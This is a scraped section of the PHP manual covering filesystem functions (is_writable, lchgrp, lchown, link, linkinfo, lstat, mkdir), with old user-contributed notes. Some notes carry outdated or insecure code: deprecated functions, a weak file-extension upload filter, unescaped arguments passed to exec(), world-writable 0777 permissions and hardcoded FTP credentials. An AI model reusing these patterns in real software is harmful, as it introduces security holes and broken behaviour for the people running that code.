if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
info at metaltoad dot net 19-Feb-2003 10:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
    case 0: //no error; possible file attack!
      echo "There was a problem with your upload.";
      break;
    case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
      echo "The file you are trying to upload is too big.";
      break;
    case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
      echo "The file you are trying to upload is too big.";
      break;
    case 3: //uploaded file was only partially uploaded
      echo "The file you are trying upload was only partially uploaded.";
      break;
    case 4: //no file was uploaded
      echo "You must select an image for upload.";
      break;
    default: //a default error, just in case!  :)
      echo "There was a problem with your upload.";
      break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk 28-Nov-2002 03:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk 14-Oct-2002 09:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    global $HTTP_POST_FILES;
    if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
        $tmp_file = dirname(tempnam("", ""));
    }
    $tmp_file .= "/" . basename($filename);
    /* User might have trailing slash in php.ini... */
    // fix for win platform
    $filename = str_replace ("\\", "/", $filename);
    return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>


Tells whether the filename is writable

  • « is_uploaded_file
  • is_writeable »
  • PHP Manual
  • Filesystem Functions
  • Tells whether the filename is writable

is_writable

(PHP 4, PHP 5)

is_writable — Tells whether the filename is writable

Description

bool is_writable ( string $filename )

Returns TRUE if the filename exists and is writable. The filename argument may be a directory name allowing you to check if a directory is writable.

Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account.

Parameters

filename

The filename being checked.

Return Values

Returns TRUE if the filename exists and is writable.

Examples

Example #1 is_writable() example

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
    echo 'The file is writable';
} else {
    echo 'The file is not writable';
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_readable() - Tells whether a file exists and is readable
  • file_exists() - Checks whether a file or directory exists
  • fwrite() - Binary-safe file write

User Contributed Notes

samuel dot zallocco at univaq dot it 23-Jul-2014 09:57
Check if a directory is writable. Work also on mounted SMB shares:

function isWritablePath($home, $xpath) {
    $isOK = false;
    $path = trim($xpath);
    if ( ($path!="") && (strpos($path,$home)!==false)  && is_dir($path) && is_writable($path) ) {
        $tmpfile = "mPC_".uniqid(mt_rand()).'.writable';
        $fullpathname = str_replace('//','/',$path."/".$tmpfile);
        $fp = @fopen($fullpathname,"w");
        if ($fp !== false) {
            $isOK = true;
        }
        @fclose($fp);
        @unlink($fullpathname);
    }
    return $isOK;

}
yury dot gugnin at gmail dot com 04-Mar-2014 08:34
function is_writable('ftp://user.....') always return false. I can create/delete files, but can check is writable. Is this bug or php feature :)?
gr 05-Oct-2010 12:32
The results of this function seems to be not cached :
Tested on linux and windows

<?php
chmod($s_pathFichier, 0400);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
chmod($s_pathFichier, 04600);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
exit;
?>
starrychloe at yahoo dot com 10-Feb-2008 02:50
To Darek and F Dot: About group permissions, there is this note in the php.ini file:
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
legolas558 d0t users dot sf dot net 02-Mar-2007 09:18
This is the latest version of is__writable() I could come up with.
It can accept files or folders, but folders should end with a trailing slash! The function attempts to actually write a file, so it will correctly return true when a file/folder can be written to when the user has ACL write access to it.

<?php
function is__writable($path) {
//will work in despite of Windows ACLs bug
//NOTE: use a trailing slash for folders!!!
//see http://bugs.php.net/bug.php?id=27609
//see http://bugs.php.net/bug.php?id=30931

    if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
        return is__writable($path.uniqid(mt_rand()).'.tmp');
    else if (is_dir($path))
        return is__writable($path.'/'.uniqid(mt_rand()).'.tmp');
    // check tmp file for read/write capabilities
    $rm = file_exists($path);
    $f = @fopen($path, 'a');
    if ($f===false)
        return false;
    fclose($f);
    if (!$rm)
        unlink($path);
    return true;
}
?>
legolas558 dot sourceforge comma net 13-Jul-2006 10:17
Since looks like the Windows ACLs bug "wont fix" (see http://bugs.php.net/bug.php?id=27609) I propose this alternative function:

<?php

function is__writable($path) {

if ($path{strlen($path)-1}=='/')
    return is__writable($path.uniqid(mt_rand()).'.tmp');

if (file_exists($path)) {
    if (!($f = @fopen($path, 'r+')))
        return false;
    fclose($f);
    return true;
}

if (!($f = @fopen($path, 'w')))
    return false;
fclose($f);
unlink($path);
return true;
}

?>

It should work both on *nix and Windows

NOTE: you must use a trailing slash to identify a directory
greg at gregwhitescarver dotcalm 07-Feb-2006 03:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com 31-Jan-2006 07:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x           root         wheel          /etc/some.file
JimmyNighthawk 12-Sep-2005 11:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch 06-Apr-2004 01:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com 02-Apr-2004 01:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
    function file_write($filename, &$content) {
        if (!is_writable($filename)) {
            if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
            };
        }
        if (!$fp = @fopen($filename, "w")) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }
?>


Alias of is_writable

  • « is_writable
  • lchgrp »
  • PHP Manual
  • Filesystem Functions
  • Alias of is_writable

is_writeable

(PHP 4, PHP 5)

is_writeable — Alias of is_writable()

Description

This function is an alias of: is_writable().

User Contributed Notes

xenok at eternityincurakai dot com 07-May-2014 07:04
writeable is actually an acceptable way of spelling it (http://www.thefreedictionary.com/writeable) and as such makes is_writeable an alias.  It would be an alias anyways.

Yes, the english language is stupid, I know.  Why pterodactyl has a p at the beginning, the world may never know.
CertaiN 12-Jan-2014 07:53
This function is the typo of "is_writable" !! Not an alias !! xD


Changes group ownership of symlink

  • « is_writeable
  • lchown »
  • PHP Manual
  • Filesystem Functions
  • Changes group ownership of symlink

lchgrp

(PHP 5 >= 5.1.2)

lchgrp — Changes group ownership of symlink

Description

bool lchgrp ( string $filename , mixed $group )

Attempts to change the group of the symlink filename to group.

Only the superuser may change the group of a symlink arbitrarily; other users may change the group of a symlink to any group of which that user is a member.

Parameters

filename

Path to the symlink.

group

The group specified by name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing the group of a symbolic link

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchgrp($link, 8);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note: This function is not implemented on Windows platforms.

See Also

  • chgrp() - Changes file group
  • lchown() - Changes user ownership of symlink
  • chown() - Changes file owner
  • chmod() - Changes file mode

User Contributed Notes

There are no user contributed notes for this page.


Changes user ownership of symlink

  • « lchgrp
  • link »
  • PHP Manual
  • Filesystem Functions
  • Changes user ownership of symlink

lchown

(PHP 5 >= 5.1.2)

lchown — Changes user ownership of symlink

Description

bool lchown ( string $filename , mixed $user )

Attempts to change the owner of the symlink filename to user user.

Only the superuser may change the owner of a symlink.

Parameters

filename

Path to the file.

user

User name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing the owner of a symbolic link

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchown($link, 8);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note: This function is not implemented on Windows platforms.

See Also

  • chown() - Changes file owner
  • lchgrp() - Changes group ownership of symlink
  • chgrp() - Changes file group
  • chmod() - Changes file mode

User Contributed Notes

There are no user contributed notes for this page.


Create a hard link

  • « lchown
  • linkinfo »
  • PHP Manual
  • Filesystem Functions
  • Create a hard link

link

(PHP 4, PHP 5)

link — Create a hard link

Description

bool link ( string $target , string $link )

link() creates a hard link.

Parameters

target

Target of the link.

link

The link name.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 Creating a simple hard link

<?php
$target = 'source.ext'; // This is the file that already exists
$link = 'newfile.ext'; // This the filename that you want to link it to

link($target, $link);
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: For Windows only: This function requires PHP to run in an elevated mode or with the UAC disabled.

See Also

  • symlink() - Creates a symbolic link
  • readlink() - Returns the target of a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

Anonymous 16-Oct-2009 10:54
to clarify:

in unix/linux:
hardlinks (by this function) cannot go across different filesystems.
softlinks can point anywhere.

in linux, hardlinking to directory is not permited.
stephane AT baladeauboutdumonde DOT com 06-Aug-2007 08:45
Make link recursively :
<?php
function makeRecusLink($orig, $dest)
{
    if (is_dir($orig)) {
        if (substr($orig, -1) != '/') {
            $orig .= '/';
        }

        $handle = opendir($orig);

        while (false !== ($file = readdir($handle))) {
            if ($file != '.' && $file != '..') {
                $path = $orig.$file;

                if (is_file($path)) {
                    @link($path, $dest.'/'.$file);
                } else if (is_dir($path)) {
                    @mkdir($dest.'/'.$file, 0755);
                    makeRecusLink($path, $dest.'/'.$file);
                }
            }
        }
    }

    closedir($handle);
}
?>
Jasper Bekkers 02-Aug-2006 04:16
For a backup utility I needed link-like functionality on a windows system. As it isn't availible on windows, i tried to do it myself with the help of some tools. All you need is junction.exe from sysinternals in your %PATH%.

<?php
if(!function_exists('link')){ // Assume a windows system
    function link($target, $link){
        if(is_dir($target)){
            // junctions link to directories in windows
            exec("junction $link $target", $lines, $val);
            return 0 == $val;
        }elseif(is_file($target)){
            // Hardlinks link to files in windows
            exec("fsutil hardlink create $link $target", $lines, $val);
            return 0 == $val;
        }

        return false;
    }
}
?>

http://www.sysinternals.com/Utilities/Junction.html
Guilherme Garnier 25-Apr-2006 08:32
I noticed that, differently from Unix ln command, the second parameter can´t be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/   // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");   // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");   // ok, creates /dir2/file link


Gets information about a link

  • « link
  • lstat »
  • PHP Manual
  • Filesystem Functions
  • Gets information about a link

linkinfo

(PHP 4, PHP 5)

linkinfo — Gets information about a link

Description

int linkinfo ( string $path )

Gets information about a link.

This function is used to verify if a link (pointed to by path) really exists (using the same method as the S_ISLNK macro defined in stat.h).

Parameters

path

Path to the link.

Return Values

linkinfo() returns the st_dev field of the Unix C stat structure returned by the lstat system call. Returns 0 or FALSE in case of error.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 linkinfo() example

<?php

echo linkinfo('/vmlinuz'); // 835

?>

See Also

  • symlink() - Creates a symbolic link
  • link() - Create a hard link
  • readlink() - Returns the target of a symbolic link

User Contributed Notes

rjb at robertjbrown dot com 21-Feb-2012 10:14
I expected this function to return FALSE or 0 if a symbolic link did not exist (per the documentation above), but that's not what happened. Reading the man page for the Linux kerne's stat call here: http://www.kernel.org/doc/man-pages/online/pages/man2/stat.2.html it says this:

RETURN VALUE - On success, zero is returned.  On error, -1 is returned, and errno is set appropriately.

... which is what is happening in my case. I am doing a linkinfo('/path/to/file'); on a missing symlink, and I get back a value of -1. As we know, a value of -1 is not going to evaluate to a FALSE or 0.

My point - be careful with return values for missing symlinks.


Gives information about a file or symbolic link

  • « linkinfo
  • mkdir »
  • PHP Manual
  • Filesystem Functions
  • Gives information about a file or symbolic link

lstat

(PHP 4, PHP 5)

lstat — Gives information about a file or symbolic link

Description

array lstat ( string $filename )

Gathers the statistics of the file or symbolic link named by filename.

Parameters

filename

Path to a file or a symbolic link.

Return Values

See the manual page for stat() for information on the structure of the array that lstat() returns. This function is identical to the stat() function except that if the filename parameter is a symbolic link, the status of the symbolic link is returned, not the status of the file pointed to by the symbolic link.

Examples

Example #1 Comparison of stat() and lstat()

<?php
symlink('uploads.php', 'uploads');

// Contrast information for uploads.php and uploads
array_diff(stat('uploads'), lstat('uploads'));
?>

The above example will output something similar to:

Information that differs between the two files.

Array
(
    [ino] => 97236376
    [mode] => 33188
    [size] => 34
    [atime] => 1223580003
    [mtime] => 1223581848
    [ctime] => 1223581848
    [blocks] => 8
)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.


Makes directory

  • « lstat
  • move_uploaded_file »
  • PHP Manual
  • Filesystem Functions
  • Makes directory

mkdir

(PHP 4, PHP 5)

mkdir — Makes directory

Description

bool mkdir ( string $pathname [, int $mode = 0777 [, bool $recursive = false [, resource $context ]]] )

Attempts to create the directory specified by pathname.

Parameters

pathname

The directory path.

mode

The mode is 0777 by default, which means the widest possible access. For more information on modes, read the details on the chmod() page.

Note:

mode is ignored on Windows.

Note that you probably want to specify the mode as an octal number, which means it should have a leading zero. The mode is also modified by the current umask, which you can change using umask().

recursive

Allows the creation of nested directories specified in the pathname.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mkdir() example

<?php
mkdir("/path/to/my/dir", 0700);
?>

Example #2 mkdir() using the recursive parameter

<?php
// Desired folder structure
$structure = './depth1/depth2/depth3/';

// To create the nested structure, the $recursive parameter
// to mkdir() must be specified.

if (!mkdir($structure, 0777, true)) {
    die('Failed to create folders...');
}

// ...
?>

Errors/Exceptions

Emits an E_WARNING level error if the directory already exists.

Emits an E_WARNING level error if the relevant permissions prevent creating the directory.

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • is_dir() - Tells whether the filename is a directory
  • rmdir() - Removes directory

User Contributed Notes

haclong 04-Jun-2014 10:18
If you are using the SPL FileInfo object and then try to create the path with mkdir, don't forget that mkdir expects a string as the first argument and NOT an object...

I have forgotten that very important rules and get only a permission deny to mkdir to create new directories but in fact, the issue was the fact that i wasn't passing a string to mkdir

$my_file = new SplFileInfo('path/to/file.txt') ;

// get path from file
$parent = $my_file->getPathInfo() ;

// check if path is directory or not
if($parent->isDir())
{
// create / open file.txt file
} else {
// if path/to does not exists, create the directory recursively
mkdir($parent, 0755, true) ; // THIS WON'T WORK because $parent is a SplFileInfo object.

// instead, get the path as a string
$path = $parent->getPathname() ;
mkdir($path, 0755, true) ; // THIS WILL WORK
}
Anonymous 06-May-2014 09:36
Don't forget to use the recursive option on Windows if creating a folder below a folder that already exists. Otherwise you may get a very confusing error message, "Warning: mkdir(): No such file or directory in d:\path\to\file" where you think the folder should exist but you forgot to create the parent(s).

For example, if d:\path exists but there is nothing in it:

<?php
$path = 'd:\path\to\my\file';
mkdir($path, null, true);
?>
matt at imaketheweb dot com 04-Aug-2011 03:26
If you're getting a Permission Denied error, but are certain the permissions and ownership where you are trying to create the directory are correct, check again:

The location where you are trying to create the directory in must have the Execute permission for the owner trying to create it, regardless of if the folder is Readable, or Writable.

This may be obvious to some, but was not to me at first. Hopefully this will save you the trouble I went through.
pz 05-Jul-2011 06:41
mkdir works with stream wrappers, so it's ok to write mkdir('ftp://user:pass@server/mydir');

which really made my day
toppi at kacke dot de 07-Jun-2011 05:36
If you have problems with the SAFE MODE Restriction in effect i.e. if you try to create and access to subdirectorys recursive you can use ftp-lib like this.

<?php

DEFINE ('FTP_USER','yourUser');
DEFINE ('FTP_PASS','yourPassword');

/**
 * Returns the created directory or false.
 *
 * @param Directory to create (String)
 * @return Created directory or false;
 */

function mkDirFix ($path) {

        $path = explode("/",$path);
        $conn_id = @ftp_connect("localhost");
        if(!$conn_id) {
            return false;
        }
        if (@ftp_login($conn_id, FTP_USER, FTP_PASS)) {

            foreach ($path as $dir) {
                if(!$dir) {
                    continue;
                }
                $currPath.="/".trim($dir);
                if(!@ftp_chdir($conn_id,$currPath)) {
                    if(!@ftp_mkdir($conn_id,$currPath)) {
                        @ftp_close($conn_id);
                        return false;
                    }
                    @ftp_chmod($conn_id,0777,$currPath);
                }
            }
        }
        @ftp_close($conn_id);
        return $currPath;

}
?>

Maybe it helps.
Toppi
nickcarenza at gmail dot com 26-May-2011 10:41
If you are having trouble with the pathname, use:

echo dirname( __FILE__ );

That will show you the pathname of the current script and you will be able to use that to see where you have to start your pathname.

I tried forever to do mkdir('dirname') and was getting permission denied. I can see now its because it was trying to create that folder up at home when i wanted it down in public_html.

I hope this saves someone some time.
[Rakesh Verma] rakeshnsony at gmail dot com 03-May-2011 08:02
if you are unable to create recursive folder(s) using 0755 mode in your php script.

Then try it by changing your current user to apache and test it again.

Hopefully you will get positive results
julius - grantzau - c-o-m 08-Mar-2011 05:10
Remember to use clearstatcache()

... when working with filesystem functions.

Otherwise, as an example, you can get an error creating a folder (using mkdir) just after deleting it (using rmdir).
Benjamin Rack 02-Dec-2010 01:18
It should be mentioned that - at least on Windows - when using UNC paths with mkdir the 2nd parameter $mode should not be specified. Otherwise mkdir fails to create the directory on the given UNC path.
satis at clankiller dot com 08-Sep-2010 03:05
Please note that in a shared environment I failed to take into account an existing umask when I did a mkdir(dirname, 0755).  This ended up creating the directory (function returned true), but I didn't have rights to do anything inside the folder, nor could I even view that it existed via ftp.

However, file_exists(dirname) returned true.  Eventually I figured out what happened and was able to rmdir(dirname), then created the directory correctly.

So, when writing scripts you expect to be portable, either use umask to set your umask accordingly, or do a straight mkdir(dirname) followed by chmod(dirname, 0755) (or whatever it is you're looking for).  If you make the same mistake I did, you should be able to rmdir() or chmod() the folder so it's accessible.
jack dot sleight at gmail dot com 26-Mar-2010 12:26
When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1/test2', 0777);
?>

May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1', 0777);
chmod('/test1/test2', 0777);
?>
michael at neo dot co dot il 27-Jan-2010 04:39
sometimes the directory created with another mode than specified ( 0755 instead 0777  etc).
to solve that use :

<?php
$old = umask(0);
mkdir($dir,0777);
umask($old);
?>
ethaizone at hotmail dot com 03-Aug-2009 10:10
When I created folder on windows with mkdir, I found some problem from folder nam so I write this function.

<?php
function filename_safe($name) {
    $except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|');
    return str_replace($except, '', $name);
}
?>

It can use with another functions about file system as file_put_contents to clean up file name.
vlad at todosv dot com 05-Mar-2009 05:59
Note that you should NOT enter the $mode value with "" or '' sorrounding it.

So, this should be valid:
<?php mkdir("dir1/dir2",0777,true); ?>

But this is not:
<?php mkdir("dir1/dir2","0777",true); ?>

Nor this:
<?php mkdir("dir1/dir2",'0777',true); ?>
d dot kok at kadova dot nl 20-Feb-2009 09:02
Please note that when specifying the recursive option the function returns false anyway if the directory already exists.

For some reason however I expected it to behave like `mkdir -p` on the command line which succeeds if the directory already exists.
t-k-r at o2 dot pl 17-Dec-2008 10:42
Very simple script, may be useful to someone.
Creating a directory structure liki this:

0 ------ 0
1          1
2          2 -------- 0
3          3             1
4          ...           2
5                        3
6                        ...
7
[....]
e
f

Used by my as structure to store uploaded files:
someone upload file -> its name + microtime is md5 -> first 3 letters of md5 string are first 3 subfolders in this folder structure, and at least file is stroed with md5 name.
Naturally SQL- or other type - Database is needed to store infos about files position in this structure.

<?php

for ($a=0;$a<=15;$a++) {

    mkdir(dechex($a),0755);

    for ($b=0;$b<=15;$b++) {

        mkdir(dechex($a).'/'.dechex($b),0755);

        for ($c=0;$c<=15;$c++) {

            mkdir(dechex($a).'/'.dechex($b).'/'.dechex($c),0755);

        }

    }

}

?>
hinom - iMasters 19-Sep-2008 07:56
mkdir simple test with "exception handler"

<?php

function handleError() {
    trigger_error('MY ERROR');

    /** usage sample
        @handleError();
        echo $php_errormsg;
    */
}

// detect slash/backslash nomenclature dirname
$path = dirname( __FILE__ );
$slash = '/'; strpos( $path, $slash ) ? '' : $slash = '\\';
define( 'BASE_DIR', $path . $slash );

$folder  = time();               // folder name
$dirPath = BASE_DIR . $folder;   // folder path

// print results
echo $slash;
echo '<hr>';

$rs = @mkdir( $dirPath, '0777' );
@handleError();
if( $rs )
{

    // print success information
    echo 'was done!';
    echo '<br>folder: <a href="' . $folder . '">' . $folder . '</a>';
    echo '<br>dirPath: ' . $dirPath;

}else{

    // print error information
    echo 'an error was occurred. Attempting create folder';
    echo '<br>dirPath: ' . $dirPath;
    echo '<br>php_errormsg: ' . $php_errormsg;

}

?>
php at mike2k dot com 15-Jul-2008 10:32
It should be noted that all of the recursive mkdir functions coded below are no longer required - as of 5.0.0 it says the "recursive" flag is available. I just tested it, it properly works (and I would assume it works for streams and Windows as well, if not, then it would be a bug)
GelaMu at GMail dot com 18-May-2008 02:19
<?php

/**
 * Makes directory and returns BOOL(TRUE) if exists OR made.
 *
 * @param  $path Path name
 * @return bool
 */
function rmkdir($path, $mode = 0755) {
    $path = rtrim(preg_replace(array("/\\\\/", "/\/{2,}/"), "/", $path), "/");
    $e = explode("/", ltrim($path, "/"));
    if(substr($path, 0, 1) == "/") {
        $e[0] = "/".$e[0];
    }
    $c = count($e);
    $cp = $e[0];
    for($i = 1; $i < $c; $i++) {
        if(!is_dir($cp) && !@mkdir($cp, $mode)) {
            return false;
        }
        $cp .= "/".$e[$i];
    }
    return @mkdir($path, $mode);
}

?>
code at ashleyhunt dot co dot uk 14-Feb-2008 08:15
Here's a script to create a recursive directory path on NAS or another server using Common Internet File System (CIFS)

e.g. you already have a directory on a server
\\server/share/dir1/dir2

you want to create some more directories
\\server/share/dir1/dir2/dir3/dir4

<?php
function remote_mkpath($server, $path)  {
        $dirs = array();
        $path = preg_replace('/(\/){2,}|(\\\){1,}/','/',$path); //only forward-slash
        $dirs = explode("/", $path);
        $path = "\\\\" . $server . "/";
        $i = 0;
        foreach ($dirs AS $element) {
            $path .= $element . "/";
            if(!is_dir($path) && $i != 0) {
                if(!mkdir($path)){
                    echo "something was wrong at : " . $path;
                    return 0;
                }
            }
            $i++;
        }
        return true;
        echo $path;
}

// example usage
remote_mkpath("SERVER", "share/dir1/dir2/dir3/dir4");
?>

Good luck!

Ashley
david dot NOSPAM at ajnewmedia dot NOSPAM dot co dot uk 22-Jan-2008 06:04
p-garcia : since PHP 5, setting the recursive flag (which currently has no notes in the manual entry) will allow you to create nested directories in the same way as Windows / Linux mkdir -p, so long as the webserver has permissions to write in the root directory of the path specified
eg:

<?php
  mkdir ("./newdir1/newdir2/newdir3/", 0755, true);

  // Returns TRUE if you have permission to write to the current directory
  //   and creates nested directories with permissionsrwxr-xr-x
?>
Michal Nazarewicz, mina86 at mina86 dot com 27-Aug-2007 04:34
On the other hand, splitting path on something else then a DIRECTORY_SEPARATOR may give unexpected results when someone accualy wants a file name with backslash in it! Moreover, neither Alan's nor pluto's code check for errors or return any value. Also, I don't like the isset($folder[$i]) technique -- there is a count() function you know.

<?php
function recursive_mkdir($path, $mode = 0777) {
    $dirs = explode(DIRECTORY_SEPARATOR , $path);
    $count = count($dirs);
    $path = '.';
    for ($i = 0; $i < $count; ++$i) {
        $path .= DIRECTORY_SEPARATOR . $dirs[$i];
        if (!is_dir($path) && !mkdir($path, $mode)) {
            return false;
        }
    }
    return true;
}
?>

It will only fail if someone specifies a mode which does not allow owner to create new entries in directory.
sean at pedlr dot com 09-Mar-2007 05:58
It should be noted that although the documentation says that  the default permissions for mkdir are 0777, this is not always the case.

I'm running LAMP and without explicitly setting the permissions, the directories created had permissions of 0755.
fantasysportswire at yahoo dot com 21-Dec-2006 03:07
One small correction on a note from Frank in June 2006 on recursive directories under Windows.

First - this should be in the documentation as its the only function that I know of that php does not fix the slashes automatically.

Franks note stated:

<?php
   $mypath="testdir\subdir\test";
   mkdir($mypath,0777,TRUE);
?>

This doesn't work in windows:

<?php
   $mypath="testdir/subdir/test";
   mkdir($mypath,0777,TRUE);
?>

----

This will work a bit better :)

<?php
   $mypath="testdir\\subdir\\test";
   mkdir($mypath,0777,TRUE);
?>
kungla at gmail dot com 18-Jul-2006 02:41
Somehow the recursive version of mkdir didn't work for me on Mac and the workaraounds listed below alsow didn't work for me, so heres my solution:

<?php
function mkdir_r($dirName, $rights=0777){
    $dirs = explode('/', $dirName);
    $dir='';
    foreach ($dirs as $part) {
        $dir.=$part.'/';
        if (!is_dir($dir) && strlen($dir)>0)
            mkdir($dir, $rights);
    }
}
?>

Tested and works ;)
jamespilcher1hotmail 08-Apr-2006 02:53
one small gotcha:

mkdir(""), mkdir(false), and mkdir(null) give a "file exists" error. this is also true of a directory name consisting of any string that only contains space characters.

(this was on php 5.1.2 on Windows 2000)
Ali Baba 10-Mar-2006 10:26
Greg, your code does not work for me; maybe it has a bug or we have configuration changes. Anyway, this one works to create recursively the directory DIRECTORY.

<?
define ("DIRECTORY", "/tmp/mydir/mysubdir");

do {
    $dir = DIRECTORY;
    while (!is_dir($dir)) {
        $basedir = dirname($dir);
        if ($basedir == '/' || is_dir($basedir))
            mkdir($dir,0777);
        else
            $dir=$basedir;
   }
} while ($dir != DIRECTORY);

?>
18-Jan-2006 06:48
function mkdirs($dir, $mode = 0777, $recursive = true) {
  if( is_null($dir) || $dir === "" ){
    return FALSE;
  }
  if( is_dir($dir) || $dir === "/" ){
    return TRUE;
  }
  if( mkdirs(dirname($dir), $mode, $recursive) ){
    return mkdir($dir, $mode);
  }
  return FALSE;
}
Kevin Cook 02-Nov-2005 06:14
I could not get the sticky bit set properly using the octal mode: 2775 (rwxrwsr-x)

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,2775);
umask($old_umask);

using the above lines renders a directory with permissions:

d-wx-wSrwt  2 www www 4096 Nov  2 11:43 my_directory

Not exactly what I was looking for.

This gets closer to the mark:

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,0777); // the default chmod
umask($old_umask);

drwxrwsrwx  2 www www 4096 Nov  2 11:46 my_directory
roth at egotec dot com 23-May-2005 08:43
The 'mkdir' function doesn't function correctly on Windows when the path
contains forward slashes. The part of the path with the forward slashes
doesn't get created.

mkdir('c:/a/b/c/d', 0775, true);

You get the error message:
Warning: mkdir() [function.mkdir]: No such file or directory

Please use backslashes under Windows or use the constant DIRECTORY_SEPARATOR.

mkdir('c:\a\b\c\d', 0775, true);
